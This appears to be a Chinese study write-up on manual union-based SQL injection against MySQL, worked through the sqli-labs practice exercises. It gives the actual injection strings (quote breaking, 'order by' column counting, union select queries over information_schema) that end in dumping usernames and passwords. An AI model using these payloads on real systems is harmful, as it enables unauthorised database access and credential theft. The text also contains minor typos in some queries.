sql手工注入方法
Mysql内置库:
mysql:保存现有账户信息,权限信息,存储过程,event,时区等信息
sys:包含了一系列的存储过程,自定义函数以及视图来帮助我们快速的了解系统的元数据信息(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)
performance_schema:用于收集数据库服务器性能参数
information_schema:它提供了访问数据库元数据的方式,其中保存着关于Mysql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表的类型与访问权限等
核心原理:
Mysql内置的information_schema库,他功能强大,是我们进行注入的基石,通过information_schema可以窥视整个数据库的运行情况和数据信息
查询数据的核心语法:
查库:select schema_name from informaiton_schema.schemata
查表:select table_name from information_schema.tables where table_schema=库名
查列:select column_name from information_schema.columns where
table_name=表名
查数据:select 列名 from 库名.表名
若某个数据不能使用单引号包括,可以用hex转换
tips:
- 所有类型的注入都是基于查库查表查列
- 如果数据太多导致无法返回查询结果,查询的场景:可利用limit限定返回的数量和位置,依次查询。回显数据的场景:concat链接多个数据成为一条返回结果
- 在一些场景,想要快速获取数据,需借助工具如bp
练习:sqli-lab less1
id=1时
1 | select * from user where id='1' limit 0,1 |
可得到用户名和密码回显
1 | id=2'时 |
回显语法错误,进行简单的逻辑判断
id=2’ and ‘1’ =’1
1 | selec * from user where id ='2' and '1' = '1' |
回显正常,得到id=2的用户名和密码,由此可知这一题存在sql注入
利用上述提到的知识进行注入先用union判断字段长度
id=2’ order by 1– +
1 | select * from user where id='2' order by 1-- + ' |
回显正常,说明存在一个字段,依次增加字段数,可知道有三个字段
id=2’ union select 1,2,3–+
1 | select * from user where id='2' union select 1,2,3 --+' |
回显正常,确实存在三个字段,接着因为2不能返回我们想要的结果,切换为不存在的id值
id=-2’ union select 1,2,(select schema_name from information_schema.schemata)–+
1 | select * from user where id='-2' union select 1,2,(select schema_name from informaiton_schema.schemata)--+' |
这次返回提示我们返回的数据过多,我们使用limit对数据进行依次查看或者group_concat将数据集合查看
id=-2’ union select 1,2,(select schema_name from information_schema.schemata limit 0,1)–+
1 | select * from user where id='-2' union select 1,2,(select schema_name from informaiton_schema.schemata limit 0,1)--+' |
获得了库名,继续获得表名
id=-2’ union select 1,2,(select table_name from information_schema.tables where table_schema=’库名’ limit 0,1)–+
1 | select * from user where id='-2' union select 1,2,(select table_name from information_schema.tables where table_schema='库名' limit 0,1)--+' |
获得了表名,继续获得列名
id=-2’ union select 1,2,(select column_name from information_schema.columns where table_name=’表名’ limit 0,1)–+
1 | select * from user where id='-2' union select 1,2,(select column_name from information_schema.columns where table_name='列名' limit 0,1)--+' |
获得了表名和列名,就可以直接查询数据了
id=-2’ union select 1,2,(select username,password from 库名.表名)–+
1 | select * from user where id='-2' union select 1,2,(select username,password from 库名.表名)--+' |
如果返回数据过多,依旧使用上述两种方法,如果查询出来过多不便辨认,可以使用concat_ws(‘~’,username,password)进行分割
也有一些比较简单的语句
比如:
1 | select user() |
Union联合查询
union操作符:
union操作符用于合并两个或多个select语句的结果集。
注意,union内部的select语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时每条select语句中的列顺序必须相同
默认情况,union操作符选取不同的值,如果允许重复的值,请使用union all
例子:
1 | select columns_name(s) from table_name1 union select column_name(s) from table_name2 |
union注入应用场景:
- 只有最后一个select子句允许有Order by;
- 只要最后一个select子句允许有limit
- 只要Union链接的几个查询的字段数一样且列的数据类型转换没有问题。就可以查询出结果
- 注入点页面有回显
例子:
1 | select * from users order by id union select 1,2,3; |
union注入过程: sqli=lab less4学习
orderby 猜出来的列数超过数据库表中的列数,报错并不能返回数据
- orderby确定列数(二分法)
- 观察回显,选取数据位置,进行下一步注入
- 读库信息
- 读表信息
- 读字段
- 读数据
大体步骤跟上文差不多这里给出例子:
id=-1’ union select 1,2,(select database())–+
1 | select * from users where id='-1' union select 1,2,(select database())--+' |
接着按照手工注入的步骤继续查询我们想要的信息,如果信息过多就采取limit或者group_concat,要采取间隔就用concat_ws,这样会更好查看一点